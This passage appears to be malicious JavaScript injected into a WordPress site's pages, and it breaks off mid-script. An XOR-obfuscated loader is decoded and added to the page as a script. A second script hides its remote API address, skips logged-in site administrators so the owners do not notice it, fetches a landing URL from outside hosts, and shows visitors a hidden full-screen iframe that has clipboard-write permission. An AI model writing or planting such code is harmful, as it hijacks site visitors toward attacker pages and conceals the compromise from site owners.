62,53,57,47,55,63,52,46,116,63,34,63,57,25,53,55,55,59,52,62,114,120,57,53,42,35,120,115,97,87,80,122,122,122,122,122,122,51,60,122,114,46,59,116,42,59,40,63,52,46,20,53,62,63,115,122,46,59,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,122,33,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,59,46,59,122,103,122,63,44,63,52,46,122,124,124,122,63,44,63,52,46,116,62,59,46,59,97,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,51,60,40,59,55,63,122,38,38,122,123,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,41,53,47,40,57,63,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,63,44,63,52,46,116,41,53,47,40,57,63,122,123,103,103,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,60,40,59,55,63,119,40,63,59,62,35,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,57,53,42,35,120,122,124,124,122,46,35,42,63,53,60,122,62,59,46,59,116,46,63,34,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,25,53,42,35,114,62,59,46,59,116,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,57,54,63,59,52,47,42,114,52,63,34,46,9,46,59,46,47,41,115,122,33,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,52,47,54,54,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,122,124,124,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,52,63,34,46,9,46,59,46,47,41,122,38,38,122,120,62,53,52,63,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,41,46,63,42,114,51,52,62,63,34,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,52,62,63,34,122,100,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,60,61,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,52,62,63,34,7,122,38,38,122,33,39,97,87,80,122,122,122,122,122,122,44,59,40,122,56,47,51,54,46,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,57,60,61,116,46,63,55,42,54,59,46,63,122,38,38,122,120,120,118,122,51,62,115,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,56,47,51,54,46,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,57,60,61,116,47,41,63,28,63,46,57,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,56,47,51,54,46,15,40,54,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,56,47,51,54,46,15,40,54,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,59,45,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,54,59,52,62,51,52,61,15,40,54,122,103,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,54,59,52,62,51,52,61,15,40,54,115,122,40,63,46,47,40,52,122,54,59,52,62,51,52,61,15,40,54,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,106,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,34,51,41,46,51,52,61,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,51,60,122,114,63,34,51,41,46,51,52,61,115,122,33,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,33,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,97,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,44,59,40,122,57,54,53,41,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,40,63,44,63,59,54,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,46,51,55,63,53,47,46,19,62,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,40,63,44,63,59,54,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,122,38,38,122,40,63,44,63,59,54,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,40,63,44,63,59,54,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,44,51,41,51,56,51,54,51,46,35,122,103,122,120,44,51,41,51,56,54,63,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,107,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,42,53,51,52,46,63,40,31,44,63,52,46,41,122,103,122,120,59,47,46,53,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,40,63,55,53,44,63,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,115,97,87,80,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,122,51,60,40,59,55,63,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,62,63,41,46,40,53,35,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,57,54,53,41,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,62,63,41,46,40,53,35,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,40,63,44,63,59,54,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,27,46,46,40,118,122,120,107,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,118,122,120,46,40,47,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,54,53,59,62,51,52,61,120,118,122,120,63,59,61,63,40,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,54,54,53,45,120,118,122,120,57,54,51,42,56,53,59,40,62,119,45,40,51,46,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,120,44,120,118,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,1,87,80,122,122,122,122,122,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,120,118,87,80,122,122,122,122,122,122,120,46,53,42,96,106,120,118,87,80,122,122,122,122,122,122,120,54,63,60,46,96,106,120,118,87,80,122,122,122,122,122,122,120,45,51,62,46,50,96,107,106,106,44,45,120,118,87,80,122,122,122,122,122,122,120,50,63,51,61,50,46,96,107,106,106,44,50,120,118,87,80,122,122,122,122,122,122,120,56,53,40,62,63,40,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,120,118,87,80,122,122,122,122,122,122,120,55,59,40,61,51,52,96,106,120,118,87,80,122,122,122,122,122,122,120,42,59,62,62,51,52,61,96,106,120,118,87,80,122,122,122,122,122,122,120,53,44,63,40,60,54,53,45,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,44,51,41,51,56,51,54,51,46,35,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,53,42,59,57,51,46,35,96,106,120,118,87,80,122,122,122,122,122,122,120,42,53,51,52,46,63,40,119,63,44,63,52,46,41,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,56,59,57,49,61,40,53,47,52,62,96,46,40,59,52,41,42,59,40,63,52,46,120,87,80,122,122,122,122,7,116,48,53,51,52,114,120,97,120,115,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,54,53,59,62,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,123,40,63,61,51,41,46,40,35,116,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,63,40,40,53,40,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,46,51,55,63,53,47,46,19,62,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,118,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,97,87,80,122,122,122,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,97,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,27,10,19,5,19,30,5,15,8,22,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,60,51,52,59,54,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,60,51,52,59,54,15,40,54,115,97,87,80,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,44,59,40,122,60,51,52,59,54,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,59,54,21,40,51,61,51,52,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,51,52,59,54,15,40,54,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,103,122,40,47,52,114,115,97,87,80,39,115,114,115,97];return String.fromCharCode.apply(String,_0x5641.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

